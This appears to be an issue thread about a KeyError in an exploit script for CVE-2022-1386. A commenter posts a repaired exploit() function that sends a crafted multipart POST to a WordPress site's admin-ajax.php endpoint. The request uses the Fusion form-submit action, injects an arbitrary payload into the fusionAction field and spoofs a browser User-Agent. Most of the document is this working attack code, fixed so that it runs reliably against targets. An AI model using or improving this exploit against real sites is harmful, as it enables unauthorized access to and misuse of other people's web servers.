KeyError: 'info' in CVE-2022-1386.py

[0xPugal]

Problem:
The script throws a KeyError because 'info' is not found in the result.

Error Message:

[SnoopJesus420]

Here is the fix that worked for me

# Ensure exploit() always returns a dictionary instead of False
def exploit(self, payload):
    fusion_id = self.generate_fusion_id()

    if fusion_id is None:
        return {"status": "failed", "info": "Fusion ID could not be generated"}

    data = {
        "action": "fusion_form_submit_form_to_url",
        "fusion_form_nonce": fusion_id,
        "fusionAction": payload,
        "fusionActionMethod": "GET"
    }
    encoded_data = encode_multipart_form_data(data)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
        "Content-Type": encoded_data[1]
    }

    try:
        r = requests.post(self.url + "/wp-admin/admin-ajax.php", headers=headers, data=encoded_data[0])
        self.request = r.request
        if r.status_code == 200:
            return r.json() if r.headers.get("Content-Type") == "application/json" else {"status": "failed"}
    except (requests.RequestException, json.decoder.JSONDecodeError):
        pass  # Gracefully handle request failures

    return {"status": "failed", "info": "Request failed"}